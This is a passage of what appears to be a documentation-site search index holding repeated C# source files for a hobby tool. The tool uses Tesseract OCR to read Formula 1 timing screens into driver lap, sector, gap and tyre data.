newBitmapDimensions.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel); return sample; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch(List options, string testString) { var closestMatch = \"\"; var closestDistance = int.MaxValue; foreach (var item in options) { var distance = LevenshteinDistance(item, testString); if (distance < closestDistance) { closestMatch = item; closestDistance = distance; } } return closestMatch; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance(string string1, string string2) { if (string.IsNullOrEmpty(string1)) { return string.IsNullOrEmpty(string2) ? 0 : string2.Length; } if (string.IsNullOrEmpty(string2)) { return string.IsNullOrEmpty(string1) ? 0 : string1.Length; } var d = new int[string1.Length + 1, string2.Length + 1]; for (var i = 0; i <= string1.Length; i++) { d[i, 0] = i; } for (var j = 0; j <= string2.Length; j++) { d[0, j] = j; } for (var i = 1; i <= string1.Length; i++) { for (var j = 1; j <= string2.Length; j++) { var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1; d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost); } } return d[string1.Length, string2.Length]; } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\"\" + \":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + Environment.NewLine; result += \"}\"; return result; } } }","title":"Window.cs"},{"location":"Code/Window.html#windowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.IO; using Tesseract; using System.Text.RegularExpressions; using System.Drawing.Drawing2D; namespace Test_Merge { public class Window { private Rectangle _bounds; private Bitmap _image; private string _name; protected TesseractEngine Engine; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap Image { get => _image; set => _image = value; } public string Name { get => _name; protected set => _name = value; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\"); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap image, Rectangle bounds, bool generateEngine = true) { Image = image; Bounds = bounds; if (generateEngine) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng() { return \"NaN\"; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng(List driverList) { return \"NaN\"; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte[] ImageToByte(Image inputImage) { using (var stream = new MemoryStream()) { inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\"; int result = 0; switch (windowType) { case OcrImage.WindowType.Sector: //The usual sector is in this form : 33.456 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.\"); break; case OcrImage.WindowType.LapTime: //The usual Lap time is in this form : 1:45:345 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.:\"); break; case OcrImage.WindowType.Gap: //The usual Gap is in this form : + 34.567 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.+\"); break; default: Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); break; } Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); Page page = Engine.Process(tessImage); Graphics g = Graphics.FromImage(enhancedImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Get the text for the current element try { rawResult += iter.GetText(PageIteratorLevel.Word); } catch { //nothing we just dont add it if its not a number } } while (iter.Next(PageIteratorLevel.Word)); } List rawNumbers; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if (windowType == OcrImage.WindowType.Gap) rawResult = Regex.Replace(rawResult, \"[^0-9.:]\", \"\"); //Splits into minuts seconds miliseconds rawNumbers = rawResult.Split('.', ':').ToList(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == \"\"); if (rawNumbers.Count == 3) { //mm:ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); } else { if (rawNumbers.Count == 2) { //ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); if (result > 999999) { //We know that we have way too much seconds to make a minut //Its usually because the \":\" have been interpreted as a number int minuts = (int)(rawNumbers[0][0] - '0'); // rawNumbers[0][1] should contain the : that has been mistaken int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); int ms = Convert.ToInt32(rawNumbers[1]); result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); } } else { if (rawNumbers.Count == 1) { try { result = Convert.ToInt32(rawNumbers[0]); } catch { //It can be because the input is empty or because its the LEADER bracket result = 0; } } else { //Auuuugh result = 0; } } } page.Dispose(); return result; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = \"\", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = \"\"; Engine.SetVariable(\"tessedit_char_whitelist\", allowedChars); Bitmap rawData = WindowImage; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); using (var iter = page.GetIterator()) { iter.Begin(); do { result += iter.GetText(PageIteratorLevel.Word); } while (iter.Next(PageIteratorLevel.Word)); } page.Dispose(); return result; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions) { Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel); return sample; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch(List options, string testString) { var closestMatch = \"\"; var closestDistance = int.MaxValue; foreach (var item in options) { var distance = LevenshteinDistance(item, testString); if (distance < closestDistance) { closestMatch = item; closestDistance = distance; } } return closestMatch; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance(string string1, string string2) { if (string.IsNullOrEmpty(string1)) { return string.IsNullOrEmpty(string2) ? 0 : string2.Length; } if (string.IsNullOrEmpty(string2)) { return string.IsNullOrEmpty(string1) ? 0 : string1.Length; } var d = new int[string1.Length + 1, string2.Length + 1]; for (var i = 0; i <= string1.Length; i++) { d[i, 0] = i; } for (var j = 0; j <= string2.Length; j++) { d[0, j] = j; } for (var i = 1; i <= string1.Length; i++) { for (var j = 1; j <= string2.Length; j++) { var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1; d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost); } } return d[string1.Length, string2.Length]; } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\"\" + \":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + Environment.NewLine; result += \"}\"; return result; } } }","title":"Window.cs"},{"location":"Code/DriverData.html","text":"DriverData.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverData.cs /// Brief : Class used to store Driver informations /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class DriverData { public bool DRS; //True = Drs is opened public int GapToLeader; //In ms public int LapTime; //In ms public string Name; //Ex: LECLERC public int Position; //Ex: 1 public int Sector1; //in ms public int Sector2; //in ms public int Sector3; //in ms public Tyre CurrentTyre;//Ex Soft 11 laps public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre) { DRS = dRS; GapToLeader = gapToLeader; LapTime = lapTime; Name = name; Position = position; Sector1 = sector1; Sector2 = sector2; Sector3 = sector3; CurrentTyre = tyre; } public DriverData() { DRS = false; GapToLeader = -1; LapTime = -1; Name = \"Unknown\"; Position = -1; Sector1 = -1; Sector2 = -1; Sector3 = -1; CurrentTyre = new Tyre(Tyre.Type.Undefined, -1); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString() { string result = \"\"; //Position result += \"Position : \" + Position + Environment.NewLine; //Gap result += \"GapToLeader : \" + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine; //LapTime result += \"LapTime : \" + Reader.ConvertMsToTime(LapTime) + Environment.NewLine; //DRS result += \"DRS : \" + DRS + Environment.NewLine; //Tyres result += \"Uses \" + CurrentTyre.Coumpound + \" tyre \" + CurrentTyre.NumberOfLaps + \" laps old\" + Environment.NewLine; //Name result += \"DriverName : \" + Name + Environment.NewLine; //Sector 1 result += \"Sector1 : \" + Reader.ConvertMsToTime(Sector1) + Environment.NewLine; //Sector 1 result += \"Sector2 : \" + Reader.ConvertMsToTime(Sector2) + Environment.NewLine; //Sector 1 result += \"Sector3 : \" + Reader.ConvertMsToTime(Sector3) + Environment.NewLine; return result; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft, Medium, Hard, Inter, Wet, Undefined } public Type Coumpound; public int NumberOfLaps; public Tyre(Type type, int laps) { Coumpound = type; NumberOfLaps = laps; } } }","title":"DriverData.cs"},{"location":"Code/DriverData.html#driverdatacs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverData.cs /// Brief : Class used to store Driver informations /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class DriverData { public bool DRS; //True = Drs is opened public int GapToLeader; //In ms public int LapTime; //In ms public string Name; //Ex: LECLERC public int Position; //Ex: 1 public int Sector1; //in ms public int Sector2; //in ms public int Sector3; //in ms public Tyre CurrentTyre;//Ex Soft 11 laps public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre) { DRS = dRS; GapToLeader = gapToLeader; LapTime = lapTime; Name = name; Position = position; Sector1 = sector1; Sector2 = sector2; Sector3 = sector3; CurrentTyre = tyre; } public DriverData() { DRS = false; GapToLeader = -1; LapTime = -1; Name = \"Unknown\"; Position = -1; Sector1 = -1; Sector2 = -1; Sector3 = -1; CurrentTyre = new Tyre(Tyre.Type.Undefined, -1); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString() { string result = \"\"; //Position result += \"Position : \" + Position + Environment.NewLine; //Gap result += \"GapToLeader : \" + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine; //LapTime result += \"LapTime : \" + Reader.ConvertMsToTime(LapTime) + Environment.NewLine; //DRS result += \"DRS : \" + DRS + Environment.NewLine; //Tyres result += \"Uses \" + CurrentTyre.Coumpound + \" tyre \" + CurrentTyre.NumberOfLaps + \" laps old\" + Environment.NewLine; //Name result += \"DriverName : \" + Name + Environment.NewLine; //Sector 1 result += \"Sector1 : \" + Reader.ConvertMsToTime(Sector1) + Environment.NewLine; //Sector 1 result += \"Sector2 : \" + Reader.ConvertMsToTime(Sector2) + Environment.NewLine; //Sector 1 result += \"Sector3 : \" + Reader.ConvertMsToTime(Sector3) + Environment.NewLine; return result; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft, Medium, Hard, Inter, Wet, Undefined } public Type Coumpound; public int NumberOfLaps; public Tyre(Type type, int laps) { Coumpound = type; NumberOfLaps = laps; } } }","title":"DriverData.cs"},{"location":"Code/DriverLapTimeWindow.html","text":"DriverLapTimeWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverLapTimeWindow:Window { public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"LapTime\"; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); return result; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverLapTimeWindow.html#driverlaptimewindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverLapTimeWindow:Window { public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"LapTime\"; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); return result; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverSectorWindow.html","text":"DriverSectorWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverSectorWindow:Window { public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Sector\"+sectorId; } /// /// Decodes the sector /// /// the sector time in int (ms) public override async Task DecodePng() { int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); return ocrResult; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/DriverSectorWindow.html#driversectorwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverSectorWindow:Window { public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Sector\"+sectorId; } /// /// Decodes the sector /// /// the sector time in int (ms) public override async Task DecodePng() { int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); return ocrResult; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/Form1.html","text":"Form1.cs \ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void btnSettings_Click(object sender, EventArgs e) { Settings settingsForm = new Settings(); settingsForm.ShowDialog(); MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); } } }","title":"Form1.cs"},{"location":"Code/Form1.html#form1cs","text":"\ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void btnSettings_Click(object sender, EventArgs e) { Settings settingsForm = new Settings(); settingsForm.ShowDialog(); MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); } } }","title":"Form1.cs"},{"location":"Code/Reader.html","text":"Reader.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Text.Json; namespace Test_Merge { public class Reader { const int NUMBER_OF_DRIVERS = 20; public List Drivers; public List MainZones; public Reader(string configFile, Bitmap image,bool loadOCR = true) { MainZones = Load(image,configFile,ref Drivers,loadOCR); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public static List Load(Bitmap image,string configFilePath,ref List driverListToFill,bool LoadOCR) { List mainZones = new List(); Bitmap fullImage = image; List drivers; Zone mainZone; try { using (var streamReader = new StreamReader(configFilePath)) { var jsonText = streamReader.ReadToEnd(); var jsonDocument = JsonDocument.Parse(jsonText); var driversNames = jsonDocument.RootElement.GetProperty(\"Drivers\"); driverListToFill = new List(); foreach (var nameElement in driversNames.EnumerateArray()) { driverListToFill.Add(nameElement.GetString()); } var mainProperty = jsonDocument.RootElement.GetProperty(\"Main\"); Point MainPosition = new Point(mainProperty.GetProperty(\"x\").GetInt32(), mainProperty.GetProperty(\"y\").GetInt32()); Size MainSize = new Size(mainProperty.GetProperty(\"width\").GetInt32(), mainProperty.GetProperty(\"height\").GetInt32()); Rectangle MainRectangle = new Rectangle(MainPosition, MainSize); mainZone = new Zone(image, MainRectangle,\"Main\"); var zones = mainProperty.GetProperty(\"Zones\"); var driverZone = zones[0].GetProperty(\"DriverZone\"); Point FirstZonePosition = new Point(driverZone.GetProperty(\"x\").GetInt32(), driverZone.GetProperty(\"y\").GetInt32()); Size FirstZoneSize = new Size(driverZone.GetProperty(\"width\").GetInt32(), driverZone.GetProperty(\"height\").GetInt32()); var windows = driverZone.GetProperty(\"Windows\"); var driverPosition = windows[0].GetProperty(\"Position\"); Size driverPositionArea = new Size(driverPosition.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverPositionPosition = new Point(driverPosition.GetProperty(\"x\").GetInt32(), driverPosition.GetProperty(\"y\").GetInt32()); var driverGapToLeader = windows[0].GetProperty(\"GapToLeader\"); Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty(\"x\").GetInt32(), driverGapToLeader.GetProperty(\"y\").GetInt32()); var driverLapTime = windows[0].GetProperty(\"LapTime\"); Size driverLapTimeArea = new Size(driverLapTime.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverLapTimePosition = new Point(driverLapTime.GetProperty(\"x\").GetInt32(), driverLapTime.GetProperty(\"y\").GetInt32()); var driverDrs = windows[0].GetProperty(\"DRS\"); Size driverDrsArea = new Size(driverDrs.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverDrsPosition = new Point(driverDrs.GetProperty(\"x\").GetInt32(), driverDrs.GetProperty(\"y\").GetInt32()); var driverTyres = windows[0].GetProperty(\"Tyres\"); Size driverTyresArea = new Size(driverTyres.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverTyresPosition = new Point(driverTyres.GetProperty(\"x\").GetInt32(), driverTyres.GetProperty(\"y\").GetInt32()); var driverName = windows[0].GetProperty(\"Name\"); Size driverNameArea = new Size(driverName.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverNamePosition = new Point(driverName.GetProperty(\"x\").GetInt32(), driverName.GetProperty(\"y\").GetInt32()); var driverSector1 = windows[0].GetProperty(\"Sector1\"); Size driverSector1Area = new Size(driverSector1.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector1Position = new Point(driverSector1.GetProperty(\"x\").GetInt32(), driverSector1.GetProperty(\"y\").GetInt32()); var driverSector2 = windows[0].GetProperty(\"Sector2\"); Size driverSector2Area = new Size(driverSector2.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector2Position = new Point(driverSector2.GetProperty(\"x\").GetInt32(), driverSector2.GetProperty(\"y\").GetInt32()); var driverSector3 = windows[0].GetProperty(\"Sector3\"); Size driverSector3Area = new Size(driverSector3.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector3Position = new Point(driverSector3.GetProperty(\"x\").GetInt32(), driverSector3.GetProperty(\"y\").GetInt32()); float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count); Bitmap MainZoneImage = mainZone.ZoneImage; List zonesToAdd = new List(); List zonesImages = new List(); for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset)); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), \"DriverZone\"); zonesToAdd.Add(newDriverZone); zonesImages.Add(newDriverZone.ZoneImage); newDriverZone.ZoneImage.Save(\"Driver\"+i+\".png\"); } //Parallel.For(0, NUMBER_OF_DRIVERS, i => for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Zone newDriverZone = zonesToAdd[(int)i]; Bitmap zoneImg = zonesImages[(int)i]; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR)); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR)); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR)); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR)); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR)); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR)); mainZone.AddZone(newDriverZone); }//); //MessageBox.Show(\"We have a main zone with \" + MainZone.Zones.Count() + \" Driver zones with \" + MainZone.Zones[4].Windows.Count() + \" windows each and we have \" + Drivers.Count + \" drivers\"); mainZones.Add(mainZone); } } catch (IOException ex) { MessageBox.Show(\"Error reading JSON file: \" + ex.Message); } catch (JsonException ex) { MessageBox.Show(\"Invalid JSON format: \" + ex.Message); } return mainZones; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public async Task Decode(List mainZones,List drivers) { string result = \"\"; List mainResults = new List(); //Decode for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++) { switch (mainZoneId) { case 0: //Main Zone foreach (Zone z in mainZones[mainZoneId].Zones) { mainResults.Add(await z.Decode(Drivers)); } break; //Next there could be a Title Zone and TrackInfoZone } } //Display foreach (DriverData driver in mainResults) { result += driver.ToString(); result += Environment.NewLine; } return result; } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime(int amountOfMs) { //Convert.ToInt32 would round upand I dont want that int minuts = (int)((float)amountOfMs / (1000f * 60f)); int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000); int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000)); return minuts + \":\" + seconds.ToString(\"00\") + \":\" + ms.ToString(\"000\"); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw(Bitmap image,List mainZones) { Graphics g = Graphics.FromImage(image); foreach (Zone z in mainZones) { int count = 0; foreach (Zone zz in z.Zones) { g.DrawRectangle(Pens.Red, z.Bounds); foreach (Window w in zz.Windows) { g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height)); } count++; } } return image; } } }","title":"Reader.cs"},{"location":"Code/Reader.html#readercs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Text.Json; namespace Test_Merge { public class Reader { const int NUMBER_OF_DRIVERS = 20; public List Drivers; public List MainZones; public Reader(string configFile, Bitmap image,bool loadOCR = true) { MainZones = Load(image,configFile,ref Drivers,loadOCR); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public static List Load(Bitmap image,string configFilePath,ref List driverListToFill,bool LoadOCR) { List mainZones = new List(); Bitmap fullImage = image; List drivers; Zone mainZone; try { using (var streamReader = new StreamReader(configFilePath)) { var jsonText = streamReader.ReadToEnd(); var jsonDocument = JsonDocument.Parse(jsonText); var driversNames = jsonDocument.RootElement.GetProperty(\"Drivers\"); driverListToFill = new List(); foreach (var nameElement in driversNames.EnumerateArray()) { driverListToFill.Add(nameElement.GetString()); } var mainProperty = jsonDocument.RootElement.GetProperty(\"Main\"); Point MainPosition = new Point(mainProperty.GetProperty(\"x\").GetInt32(), mainProperty.GetProperty(\"y\").GetInt32()); Size MainSize = new Size(mainProperty.GetProperty(\"width\").GetInt32(), mainProperty.GetProperty(\"height\").GetInt32()); Rectangle MainRectangle = new Rectangle(MainPosition, MainSize); mainZone = new Zone(image, MainRectangle,\"Main\"); var zones = mainProperty.GetProperty(\"Zones\"); var driverZone = zones[0].GetProperty(\"DriverZone\"); Point FirstZonePosition = new Point(driverZone.GetProperty(\"x\").GetInt32(), driverZone.GetProperty(\"y\").GetInt32()); Size FirstZoneSize = new Size(driverZone.GetProperty(\"width\").GetInt32(), driverZone.GetProperty(\"height\").GetInt32()); var windows = driverZone.GetProperty(\"Windows\"); var driverPosition = windows[0].GetProperty(\"Position\"); Size driverPositionArea = new Size(driverPosition.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverPositionPosition = new Point(driverPosition.GetProperty(\"x\").GetInt32(), driverPosition.GetProperty(\"y\").GetInt32()); var driverGapToLeader = windows[0].GetProperty(\"GapToLeader\"); Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty(\"x\").GetInt32(), driverGapToLeader.GetProperty(\"y\").GetInt32()); var driverLapTime = windows[0].GetProperty(\"LapTime\"); Size driverLapTimeArea = new Size(driverLapTime.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverLapTimePosition = new Point(driverLapTime.GetProperty(\"x\").GetInt32(), driverLapTime.GetProperty(\"y\").GetInt32()); var driverDrs = windows[0].GetProperty(\"DRS\"); Size driverDrsArea = new Size(driverDrs.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverDrsPosition = new Point(driverDrs.GetProperty(\"x\").GetInt32(), driverDrs.GetProperty(\"y\").GetInt32()); var driverTyres = windows[0].GetProperty(\"Tyres\"); Size driverTyresArea = new Size(driverTyres.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverTyresPosition = new Point(driverTyres.GetProperty(\"x\").GetInt32(), driverTyres.GetProperty(\"y\").GetInt32()); var driverName = windows[0].GetProperty(\"Name\"); Size driverNameArea = new Size(driverName.GetProperty(\"width\").GetInt32(), 